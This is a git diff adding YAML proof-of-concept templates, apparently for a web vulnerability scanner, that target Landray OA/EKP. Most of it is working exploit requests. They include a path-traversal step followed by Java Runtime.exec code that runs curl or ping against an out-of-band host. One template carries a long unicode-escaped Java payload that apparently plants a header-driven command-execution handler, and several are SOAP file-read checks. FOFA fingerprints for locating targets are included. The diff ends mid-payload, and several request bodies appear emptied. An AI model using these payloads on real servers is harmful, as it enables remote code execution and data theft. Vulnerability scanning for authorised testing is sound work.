b/webscan/pocs/landray-dataxml-jsp-rce.yaml new file mode 100644 index 0000000..d4aec4a --- /dev/null +++ b/webscan/pocs/landray-dataxml-jsp-rce.yaml @@ -0,0 +1,52 @@ +id: landray-dataxml-jsp-rce + +info: + name: 蓝凌OA dataxml.jsp 远程命令执行漏洞 + author: avic123 + severity: critical + verified: true + description: |- + 蓝凌OA dataxml.jsp 存在远程命令执行漏洞 + fofa: app="Landray-OA系统" + reference: + - https://cn-sec.com/archives/3026864.html + tags: Landray,ekp,rce + created: 2025/1/16 + +set: + hostname: request.url.host + +rules: + r0: + request: + method: POST + path: /sys/ui/sys_ui_component/sysUiComponent.do + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51 + X-Requested-With: XMLHttpRequest + body: | + ------WebKitFormBoundaryL7ILSpOdIhIIvL51 + Content-Disposition:form-data;name="method" + + replaceExtend + ------WebKitFormBoundaryL7ILSpOdIhIIvL51 + Content-Disposition:form-data;name="extendId" + + ../../../../resource/help/km/review/ + ------WebKitFormBoundaryL7ILSpOdIhIIvL51 + Content-Disposition:form-data;name="folderName" + + ../../../ekp/sys/common + ------WebKitFormBoundaryL7ILSpOdIhIIvL51-- + expression: response.status == 200 && "1".bmatches(response.body) + r1: + request: + method: POST + path: /resource/help/kms/knowledge/dataxml.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: | + s_bean=ruleFormulaValidate&script=try {String cmd = "curl+{{oob.HTTP}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);} + expression: response.status == 200 && oobCheck(oob.ProtocolHTTP, 3) + +expression: r0() && r1() diff --git a/webscan/pocs/landray-ekp-sysFormMainDataInsystemWebservice-fileread.yaml b/webscan/pocs/landray-ekp-sysFormMainDataInsystemWebservice-fileread.yaml new file mode 100644 index 0000000..43aad4d --- /dev/null +++ b/webscan/pocs/landray-ekp-sysFormMainDataInsystemWebservice-fileread.yaml @@ -0,0 +1,50 @@ +id: landray-ekp-sysFormMainDataInsystemWebservice-fileread + +info: + name: Landray EKP sysFormMainDataInsystemWebservice File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray EKP System sysFormMainDataInsystemWebservice interface has an arbitrary file read vulnerability. + fofa: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + tags: landray,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) + hostname: request.url.host + +rules: + r0: + request: + raw: |- + POST /sys/webservice/sysFormMainDataInsystemWebservice HTTP/1.1 + Host: {{hostname}} + User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 + Connection: close + Content-Type: multipart/related; boundary=----{{rboundary}} + SOAPAction: + Accept-Encoding: gzip, deflate + + ------{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------{{rboundary}}-- + expression: | + response.status == 500 && + response.body.ibcontains(b'Unmarshalling Error:') +expression: r0() diff --git a/webscan/pocs/landray-oa-datajson-rce.yaml b/webscan/pocs/landray-oa-datajson-rce.yaml new file mode 100644 index 0000000..a19567b --- /dev/null +++ b/webscan/pocs/landray-oa-datajson-rce.yaml @@ -0,0 +1,24 @@ +id: landray-oa-datajson-rce + +info: + name: Landray OA Datajson RCE + author: xpoc + severity: critical + verified: true + description: |- + Landray Office Automation (OA) software, specifically in the "s_bean" component's "sysFormulaSimulateByJS" functionality. This vulnerability allows remote code execution (RCE), enabling attackers to execute arbitrary code on a target system. + fofa: app="Landray-OA系统" + reference: + - https://github.com/k3sc/Landray-oa-rce-1/blob/main/poc.py + - https://github.com/hktalent/scan4all/blob/main/pocs_go/landray/Landray_RCE.go + - https://github.com/zan8in/afrog/v3/blob/main/v2/pocs/afrog-pocs/vulnerability/landray-oa-datajson-rce.yaml + tags: landray,rce + created: 2023/06/22 + +rules: + r0: + request: + method: GET + path: /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20{{oob.DNS}}%22%29&type=1 + expression: oobCheck(oob.ProtocolDNS, 5) +expression: r0() diff --git a/webscan/pocs/landray-oa-kmImeetingBookWebService-fileread.yaml b/webscan/pocs/landray-oa-kmImeetingBookWebService-fileread.yaml new file mode 100644 index 0000000..dc5ec37 --- /dev/null +++ b/webscan/pocs/landray-oa-kmImeetingBookWebService-fileread.yaml @@ -0,0 +1,48 @@ +id: landray-oa-kmImeetingBookWebService-fileread +info: + name: Landray OA kmImeetingBookWebService File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray OA System kmImeetingBookWebService interface has an arbitrary file read vulnerability. + The vulnerability exists in the getImeetingBookLists method which can be exploited to read arbitrary files on the system. + fofa: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/9f20511bb02d7babac30c47f48a72d427b7f5a3b/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md + tags: landray,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) + hostname: request.url.host +rules: + r0: + request: + raw: |- + POST /sys/webservice/kmImeetingBookWebService HTTP/1.1 + Host: {{hostname}} + User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 + Connection: close + Content-Type: multipart/related; boundary=----{{rboundary}} + SOAPAction: "" + Accept-Encoding: gzip, deflate + + ------{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------{{rboundary}}-- + expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error') + +expression: r0() diff --git a/webscan/pocs/landray-oa-kmImeetingResWebService-fileread.yaml b/webscan/pocs/landray-oa-kmImeetingResWebService-fileread.yaml new file mode 100644 index 0000000..127d5f1 --- /dev/null +++ b/webscan/pocs/landray-oa-kmImeetingResWebService-fileread.yaml @@ -0,0 +1,45 @@ +id: landray-oa-kmImeetingResWebService-fileread +info: + name: Landray OA kmImeetingResWebService File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray OA System kmImeetingResWebService interface has an arbitrary file read vulnerability. + The vulnerability exists in the getKmimeetingResById method which can be exploited to read arbitrary files on the system. + fofa: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + tags: landray,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /sys/webservice/kmImeetingResWebService + headers: + Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}} + SOAPAction: "" + Accept-Encoding: gzip, deflate + body: | + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------WebKitFormBoundary{{rboundary}}-- + expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error') + +expression: r0() diff --git a/webscan/pocs/landray-oa-loginWebserviceService-fileread.yaml b/webscan/pocs/landray-oa-loginWebserviceService-fileread.yaml new file mode 100644 index 0000000..0940545 --- /dev/null +++ b/webscan/pocs/landray-oa-loginWebserviceService-fileread.yaml @@ -0,0 +1,44 @@ +id: landray-oa-loginWebserviceService-fileread +info: + name: Landray OA loginWebserviceService File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray OA System loginWebserviceService interface has an arbitrary file read vulnerability. + The vulnerability exists in the getLoginSessionId method which can be exploited to read arbitrary files on the system. + fofa: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/9f20511bb02d7babac30c47f48a72d427b7f5a3b/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md + tags: landray,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /sys/webservice/loginWebserviceService + headers: + Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}} + SOAPAction: "" + Accept-Encoding: gzip, deflate + body: | + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------WebKitFormBoundary{{rboundary}}-- + expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error') +expression: r0() diff --git a/webscan/pocs/landray-oa-sysNotifyTodoWebService-fileread.yaml b/webscan/pocs/landray-oa-sysNotifyTodoWebService-fileread.yaml new file mode 100644 index 0000000..af2bcac --- /dev/null +++ b/webscan/pocs/landray-oa-sysNotifyTodoWebService-fileread.yaml @@ -0,0 +1,44 @@ +id: landray-oa-sysNotifyTodoWebService-fileread +info: + name: Landray OA sysNotifyTodoWebService File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray OA System sysNotifyTodoWebService interface has an arbitrary file read vulnerability. + The vulnerability exists in the getTodoCount method which can be exploited to read arbitrary files on the system. + FOFA: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md + tags: landray,lfi,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /sys/webservice/sysNotifyTodoWebService + headers: + Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}} + SOAPAction: "" + Accept-Encoding: gzip, deflate + body: | + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------WebKitFormBoundary{{rboundary}}-- + expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error') +expression: r0() diff --git a/webscan/pocs/landray-oa-sysSynchroGetOrgWebService-fileread.yaml b/webscan/pocs/landray-oa-sysSynchroGetOrgWebService-fileread.yaml new file mode 100644 index 0000000..647348b --- /dev/null +++ b/webscan/pocs/landray-oa-sysSynchroGetOrgWebService-fileread.yaml @@ -0,0 +1,44 @@ +id: landray-oa-sysSynchroGetOrgWebService-fileread +info: + name: Landray OA sysSynchroGetOrgWebService File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray OA System sysSynchroGetOrgWebService interface has an arbitrary file read vulnerability. + The vulnerability exists in the getOrgStaffingLevelInfo method which can be exploited to read arbitrary files on the system. + fofa: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md + tags: landray,lfi,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /sys/webservice/sysSynchroGetOrgWebService + headers: + Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}} + SOAPAction: "" + Accept-Encoding: gzip, deflate + body: | + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------WebKitFormBoundary{{rboundary}}-- + expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error') +expression: r0() diff --git a/webscan/pocs/landray-oa-sysTagWebService-fileread.yaml b/webscan/pocs/landray-oa-sysTagWebService-fileread.yaml new file mode 100644 index 0000000..f6528bf --- /dev/null +++ b/webscan/pocs/landray-oa-sysTagWebService-fileread.yaml @@ -0,0 +1,44 @@ +id: landray-oa-sysTagWebService-fileread +info: + name: Landray OA sysTagWebService File Read + author: ZacharyZcR + severity: high + verified: true + description: |- + Landray OA System sysTagWebService interface has an arbitrary file read vulnerability. + The vulnerability exists in the getGroups method which can be exploited to read arbitrary files on the system. + fofa: body="Com_Parameter" + reference: + - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.md + tags: landray,lfi,fileread + created: 2024/12/30 + +set: + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /sys/webservice/sysTagWebService + headers: + Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}} + SOAPAction: "" + Accept-Encoding: gzip, deflate + body: | + ------WebKitFormBoundary{{rboundary}} + Content-Disposition: form-data; name="a" + + + + + + + a + + + + + + ------WebKitFormBoundary{{rboundary}}-- + expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error') +expression: r0() diff --git a/webscan/pocs/landray-oa-syssearchmain-rce.yaml b/webscan/pocs/landray-oa-syssearchmain-rce.yaml new file mode 100644 index 0000000..45d92da --- /dev/null +++ b/webscan/pocs/landray-oa-syssearchmain-rce.yaml @@ -0,0 +1,25 @@ +id: landray-oa-syssearchmain-rce + +info: + name: Landray sysSearchMain.do RCE + author: zan8in + severity: critical + verified: true + description: |- + 蓝凌OA sysSearchMain.do文件 存在任意文件写入漏洞，攻击者获取后台权限后可通过漏洞写入任意文件，也可以通过 custom.jsp 文件未授权写入恶意文件 + fofa: app="Landray-OA系统" + tags: landray,rce,fileread + created: 2024/12/30 + +rules: + r0: + request: + method: POST + path: /sys/ui/extend/varkind/custom.jsp + headers: + Cmd: dir + body: | + var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=\u0020\u0020\u0020\u0020\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0066\u0061\u006c\u0073\u0065\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u0070\u0020\u0067\u0072\u006f\u0075\u0070\u0020\u003d\u0020\u0054\u0068\u0072\u0065\u0061\u0064\u002e\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u0070\u0028\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0072\u0065\u0066\u006c\u0065\u0063\u0074\u002e\u0046\u0069\u0065\u006c\u0064\u0020\u0066\u0020\u003d\u0020\u0067\u0072\u006f\u0075\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0020\u003d\u0020\u0028\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0029\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0067\u0072\u006f\u0075\u0070\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u0069\u0020\u003d\u0020\u0030\u003b\u0020\u0069\u0020\u003c\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0020\u0069\u002b\u002b\u0029\u0020\u007b\u0020\u0074\u0072\u0079\u0020\u007b\u0020\u0054\u0068\u0072\u0065\u0061\u0064\u0020\u0074\u0020\u003d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u005b\u0069\u005d\u003b\u0069\u0066\u0020\u0028\u0074\u0020\u003d\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0065\u0078\u0065\u0063\u0022\u0029\u0020\u007c\u007c\u0020\u0021\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0068\u0074\u0074\u0070\u0022\u0029\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0061\u0072\u0067\u0065\u0074\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0074\u0029\u003b\u0069\u0066\u0020\u0028\u0021\u0028\u006f\u0062\u006a\u0020\u0069\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u006f\u0066\u0020\u0052\u0075\u006e\u006e\u0061\u0062\u006c\u0065\u0029\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0069\u0073\u0024\u0030\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0020\u003d\u0020\u0028\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0029\u0020\u0028\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u006a\u0020\u003d\u0020\u0030\u003b\u0020\u006a\u0020\u003c\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0073\u0069\u007a\u0065\u0028\u0029\u003b\u0020\u002b\u002b\u006a\u0029\u0020\u007b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0067\u0065\u0074\u0028\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0072\u0065\u0071\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0071\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0073\u0070\u0020\u003d\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u0030\u005d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u0030\u005d\u0029\u003b\u0073\u0074\u0072\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0022\u0043\u006d\u0064\u0022\u007d\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0026\u0026\u0020\u0021\u0073\u0074\u0072\u002e\u0069\u0073\u0045\u006d\u0070\u0074\u0079\u0028\u0029\u0029\u0020\u007b\u0020\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0053\u0074\u0061\u0074\u0075\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0032\u0030\u0030\u0029\u007d\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0063\u006d\u0064\u0073\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0022\u002c\u0020\u0022\u002f\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u0020\u003a\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u002f\u0062\u0069\u006e\u002f\u0073\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u